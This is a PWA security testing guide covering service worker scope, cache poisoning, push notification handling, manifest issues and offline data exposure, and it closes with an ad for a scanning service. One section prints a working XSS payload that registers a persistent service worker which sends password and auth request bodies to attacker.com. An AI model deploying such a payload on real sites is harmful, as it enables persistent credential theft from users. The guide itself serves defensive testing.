Progressive Web App (PWA) Security Testing: Service Workers, Caching, and Offline Attack Surface
Progressive Web Apps (PWAs) bring app-like capabilities to the browser — offline support, push notifications, background sync, and installability. These capabilities are built on top of Service Workers, the Cache API, and a manifest file. Each of these adds a new attack surface that doesn't exist in a traditional web application. A service worker that intercepts network requests, caches API responses, or processes push notifications is security-critical code that needs the same scrutiny as server-side code.
This guide covers the PWA-specific security testing methodology — what breaks, where to look, and how to test it.
PWA Attack Surface Overview
| Component | What It Does | Security Risk |
|---|---|---|
| Service Worker | Intercepts all network requests for its scope | Request/response manipulation, persistent XSS, cache poisoning |
| Cache API | Stores request/response pairs for offline use | Sensitive data persists, stale poisoned responses served |
| Push API | Receives notifications from a push server | Notification spoofing, payload injection, phishing |
| Background Sync | Queues actions while offline for later execution | Stale or injected actions replayed after reconnection |
| Web App Manifest | Defines install behavior, icons, start URL | Open redirect via start_url, scope misconfiguration |
| IndexedDB / localStorage | Client-side data storage for offline use | Sensitive data persists indefinitely, XSS exfiltration |
Service Worker Security Testing
Service Worker Scope and Registration
A service worker can only intercept requests within its scope — the directory it's registered from. A service worker at /sw.js controls all requests under /. One at /app/sw.js only controls /app/*.
Find the service worker:
# DevTools > Application > Service Workers
# Lists registered service workers, their scope, and status
# Also check:
# DevTools > Application > Service Workers > Offline
# (simulate offline mode to trigger cache fallback behavior)
# Programmatically inspect:
navigator.serviceWorker.getRegistrations()
.then(regs => regs.forEach(r => console.log(r.scope, r.active?.scriptURL)));
Review the service worker script directly. Fetch it and read it:
curl https://target.com/sw.js
# Look for:
# - fetch event handlers that modify request/response
# - Dynamic URL construction (eval, string concatenation)
# - postMessage handlers without origin validation
# - Cache strategy (stale-while-revalidate, cache-first, etc.)
# - What gets cached — static assets only, or API responses too?
Service Worker Cache Poisoning
If a service worker caches API responses without validating them, an attacker who can inject a malicious response into the cache (via XSS, network interception on HTTP, or a compromised CDN) can persist that poisoned response for all subsequent requests — even after the initial attack vector is patched.
Test for overly aggressive caching:
// Inspect the Cache API from the browser console
const cacheNames = await caches.keys();
console.log('Cache stores:', cacheNames);
for (const name of cacheNames) {
const cache = await caches.open(name);
const requests = await cache.keys();
console.log(`\n=== ${name} (${requests.length} entries) ===`);
for (const req of requests) {
const res = await cache.match(req);
console.log(req.url, res.headers.get('content-type'));
}
}
What to flag:
- API responses cached (especially authenticated endpoints returning user data)
- No cache versioning — stale responses can persist indefinitely
- Cache-first strategy for dynamic content (serves stale data without revalidation)
- HTML pages cached without HTTPS enforcement
Service Worker Fetch Interception
A service worker's fetch event handler intercepts all network requests in its scope. Vulnerabilities here can affect every request the application makes.
// Malicious fetch handler (what to look for in sw.js)
// BAD: constructs URL from untrusted input
self.addEventListener('fetch', event => {
const url = new URL(event.request.url);
const redirect = url.searchParams.get('next');
// If redirect is attacker-controlled, this is an open redirect
if (redirect) {
event.respondWith(Response.redirect(redirect));
}
});
// BAD: caches all responses including those with sensitive data
self.addEventListener('fetch', event => {
event.respondWith(
caches.match(event.request).then(cached => cached
|| fetch(event.request).then(response => {
const clone = response.clone();
caches.open('v1').then(cache => cache.put(event.request, clone));
return response;
})
)
);
// This caches EVERYTHING, including:
// - /api/user/profile (personal data)
// - /api/payments (financial data)
// - Any authenticated response
});
Service Worker XSS Persistence
A service worker registered with XSS runs with the privileges of the page origin and persists even after the XSS payload is gone. This is one of the highest-severity XSS impact scenarios.
// XSS payload that installs a malicious service worker
// This persists indefinitely even after the original XSS is fixed
const sw = `
self.addEventListener('fetch', e => {
if (e.request.url.includes('password') || e.request.url.includes('api/auth')) {
e.request.clone().text().then(body =>
fetch('https://attacker.com/steal?b=' + encodeURIComponent(body))
);
}
});
`;
const blob = new Blob([sw], {type: 'text/javascript'});
navigator.serviceWorker.register(URL.createObjectURL(blob), {scope: '/'});
Test whether an XSS can register a service worker: If the application's Content Security Policy (CSP) doesn't block blob: URLs or doesn't restrict worker-src, this attack is viable. Check the Content-Security-Policy header for worker-src directive.
Push Notification Security Testing
Push Subscription Theft
Push subscriptions contain a public key, endpoint URL, and authentication secret. These are not secret — they're shared with the push server. But if the subscription data is exposed to an attacker, they can send unauthorized notifications to the user.
// Get current push subscription
const reg = await navigator.serviceWorker.ready;
const sub = await reg.pushManager.getSubscription();
console.log(JSON.stringify(sub));
// Output includes: endpoint, expirationTime, keys.auth, keys.p256dh
// The 'endpoint' is a push service URL — if unguarded, sends notifications to this user
Push Notification Content Injection
The push notification handler in the service worker receives a payload from your server. If the payload is rendered without sanitization, it can produce misleading or malicious notifications.
- Test the push payload handling: send a notification with HTML in the title/body
- Test with a URL in the notification body — does clicking it open an arbitrary URL?
- Verify the service worker's
notificationclickhandler validates the URL before navigating
// Check service worker notification click handler
self.addEventListener('notificationclick', event => {
const url = event.notification.data.url;
// BAD: opens any URL from notification payload without validation
event.waitUntil(clients.openWindow(url));
// GOOD: validate URL is same-origin before opening
// if (new URL(url).origin === self.location.origin) { clients.openWindow(url); }
});
Web App Manifest Security Testing
The web app manifest (manifest.json or manifest.webmanifest) defines how the PWA behaves when installed. Security issues in the manifest are subtle but real.
curl https://target.com/manifest.json
What to check:
start_urlopen redirect: Ifstart_urlis a relative path, it's fine. If it's absolute or contains a redirect parameter, verify it can't be abused to redirect users to a malicious URL on installscopetoo wide: A manifest withscope: "/"claims the entire origin. This is often fine but worth verifying the service worker scope aligns- Icons fetched from external domains: If icon URLs point to third-party domains, a compromised CDN can replace the icon with phishing content
- Missing
idfield: Without a stableid, PWA identity is derived fromstart_url, which can cause installation confusion - HTTP
start_url: If the manifest is served over HTTPS butstart_urlis HTTP, installed PWA launches insecurely
Background Sync Security Testing
Background Sync allows queuing actions while offline that execute when connectivity resumes. If the queued data includes authentication tokens or sensitive payloads, persistence of that data matters.
- Test what data is queued for background sync — check IndexedDB and the sync queue
- Test whether background sync actions replay correctly after a user logs out (they shouldn't)
- Test whether sync actions contain authentication credentials that persist beyond session expiry
- Check if background sync payloads are signed or validated to prevent tampering
Offline Data Exposure
PWAs often cache data aggressively for offline use. On shared or public devices, this creates persistent data exposure risk.
- Install the PWA on a test device
- Log in and load data that would be sensitive (account details, messages, transaction history)
- Log out
- Put the device offline
- Open the installed PWA — what data is accessible without authentication?
Correct behavior: offline mode should show a "you're offline" screen for authenticated content, not serve cached sensitive data without re-authentication.
PWA Security Testing Checklist
- Locate and read the service worker script (
sw.jsor similar) - Audit the
fetchevent handler — does it cache API responses or user data? - Check Cache API contents — flag sensitive data (user PII, tokens, financial records)
- Verify the service worker scope is narrower than the full origin where possible
- Test whether XSS can register a persistent malicious service worker
- Check CSP for
worker-srcdirective restricting service worker sources - Verify push notification click handlers validate URLs before opening
- Check
manifest.jsonfor external icon URLs, HTTPstart_url, and overly wide scope - Test logged-out offline data access — sensitive content must not be accessible offline without auth
- Verify background sync data doesn't persist credentials beyond session expiry
- Check IndexedDB contents for sensitive cached data after logout
- Test cache poisoning: does a cached response persist after the source is updated?
Ironimo scans modern web applications including PWAs — detecting XSS, insecure caching, and content security policy gaps with Kali Linux-grade tooling on demand.
Start free scan